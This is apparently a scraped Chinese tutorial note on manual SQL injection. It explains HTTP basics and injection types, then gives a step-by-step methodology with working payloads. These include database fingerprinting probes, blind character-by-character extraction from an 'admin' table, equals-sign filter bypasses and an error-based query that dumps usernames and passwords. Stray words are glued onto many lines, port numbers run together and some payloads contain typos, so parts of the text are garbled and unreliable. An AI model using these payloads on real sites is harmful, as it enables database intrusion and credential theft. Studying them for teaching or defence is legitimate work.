手工sql注入(重點)

sql 子查詢:() select goods_name from goods where goods_id=(select max(goods_id) from goods)php

聯合查詢:select * from boy union select *from girl select 查庫 11,hid,bname from boy union select uid,name,agecss

 from userhtml

information_schema前端

http 協議java

tcp 1-65535程序員

udp 1-65535web

 

防火牆sql

8044353數據庫

 

 

HTTP 針對web的攻擊c#

Web: 前端+後端+數據庫

前端 :用戶交易 html (標籤語言),css(樣式表),Javascript (動態處理)

通信 http/ https 協議  **

後端 c -->php / J(javaSP /ASP/ASPX(.NET)

數據庫 :關係型數據庫 MySQL Oracle db2 SqlServer msSQL  MongoDB

HTTP

請求request

回覆responset

POST /login.php HTTP/1.1  ##請求行

HOST: www.xxx.com(鍵值對,前鍵後值##一行)##請求頭

User-Agent: Mozilla/5.0(windows NT 6.1;rv15.0)Gecko/20100101 firefox/1.5

 

//空白行,帶表請求頭結束

Username=admin&password=admin //請求正文

HTTP請求對應的是HTTP響應,HTTP響應也是由3部分組成,分別是:響應行響應頭(消息報頭)響應正文(消息主體)

(HTTP頭詳解)ß(配套羣裏HTTP頭詳解食用)

HTTP/1.1 200  OK     /響應行

Date:Thu,28 Feb 2013 07:36:47 GMT //響應頭

SERVER

Content-Length

….

// 空白行,表明響應頭結束

<html> //響應正文或叫消息主體

  <head><title>index.html</title></head>

<html>

**閉合**

 

SQL注入

原理:用戶對SQL注入語句的可控性,能夠輸入數據庫指令,被SQL解釋器執行,致使數據庫被用戶控制

分類:

數字型+字符型

數字型注入多存在於aspphp網站的應用程序中,由於ASP和PHP輸入弱類型語言,例如:參數id=5PHP會自動來推導變量id的類型爲int類型語言,那麼id=5 and 1=1 則會推導爲string類型,這是弱類型語言的特性;而Javac#這類強類型語言,若是試圖把一個字符串轉換爲int類型,處理不當則會拋出異常,沒法繼續執行。這方面強類型語言比弱類型語言有先天優點,因此做爲一個合格的程序員,在數據類型處理方面必定要嚴格設置

Id=5 and 1=1

Select  * from table where id=8

字符型注入

輸入參數爲字符串時

例:

Select  *  from table where username = ‘ admin ‘

Select  *  from table where username= ‘ 8’ or 1=1 –‘

Select  *  from table where username= like ‘%admin%’

 

http://www.xxx.com/goods.asp?goods_name=N85 ' and 1=1

select * from goods where goods_name ='N85 '(淺閉合單引號) and 1=1 or '''

 

只要是字符串則必須單引號閉合以及代碼註釋,不管是select注入,insert注入,或者其餘類型的注入

例如update語句:某常見的賣家修改商品名稱的功能,SQL語句以下:update goods set goods_name = ‘ipone X ‘ where goods_id =3;

如今須要對SQL語句注入,這須要閉合,可在name插入語句爲’+(select name from users where id=1)+’,最終執行的SQL語句爲:

Update goods set goods_name=’ ‘+(select name from users where id=3+’ ‘ where good_id=1;

利用兩次單引號閉合才能完成這一次的閉合

注意:根據數據庫的不一樣,字符串鏈接符也不一樣,如SQLserver鏈接字符是「+」,Oracle 鏈接符爲「||」,MySQL 鏈接符爲空格

其餘分類方法

注入點不一樣:

- Cookie注入,POST 注入,get注入,搜索型注入

利用的SQL語句不一樣:

- Update注入,select注入,union注入

注入顯錯方式不一樣:

- 錯注入,盲注

花式高級

延時注入(boolen,二分法),二次注入

 

 

注入思路

  1. 判斷是否有注入點
  2. 注入點類型判斷(數字 or 字符 )
  3. 判斷數據庫 AcessMySQLmsSQLOracle,其餘)
  4. 查詢有哪些庫(acess能夠跳過)
  5. 查詢有哪些表
  6. 查詢某個表有哪些列
  7. 查詢每一條記錄的內容

 

 

 

主信道

80 http HTML

側信道

電源, 空氣,聲音 ,時間* 53 dns協議*SIM卡 ,示波器

不能用等號時

|| 555*666=666*555*1

|| 555*666 in (666*555*1,1);

|| 555*666 like 666*555*1

 

手工注入

  1. 判斷注入點

(1) and 1=1

(2) and 1=2

  1. 簡單判斷數據庫類型

. and exists(select count(*) from msysobjects)msysobjects表爲access特有的,但默認無權限讀取)

and exists(select count*from sysobjects)sysobjectsSQLserver特有的)

0<(select top 1 asc(mid(admin,1,1)) from admin) top2:前兩行)(top 1: 前一行 橫行 參數1從第一位開始取 參數2:取1位字母)

 

  1. 猜表名稱:

And 0<=(select count(*) from admin) –判斷是否有admin這張表

  1. 猜表中帳戶的數目(行數)

and 0< (select count(*) from admin) –判斷admin這張表裏是否有數據

and 0< (select count(*) from admin) –判斷是否有1條以上的數據

  1. 猜想字段名稱 count括號里加上咱們想到的字段名稱

and 0< (select count(admin) from admin)

  1. 猜各個內容的長度

and  (select top 1 asc(mid(admin,1,1)) from admin)>0 說明內容長度大於等於1

and  (select top 1 asc(mid(admin,2,1)) from admin)>0  說明內容長度大於等於2

and  (select top 1 asc(mid(admin,3,1)) from admin)>0  說明內容長度大於等於3

and  (select top 1 asc(mid(admin,6,1)) from admin)>0  說明內容長度大於等於6

and  (select top 1 asc(mid(admin,7,1)) from admin)>0  說明內容長度大於等於7

  1. 猜字段內的內容

and  (select top 1 asc(mid(字段名,從第幾位開始,取幾個字符)) from admin)>$0$ -不報錯一直測量下去

讀取字段值

Select * from c_content where contented = 3uion select 1from (select count(*),concat(float(rand(0)*100), (select concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e) from xdcm.s_admin limit 0,1))a from information_schema.tables group by a)b#

相關文章
相關標籤/搜索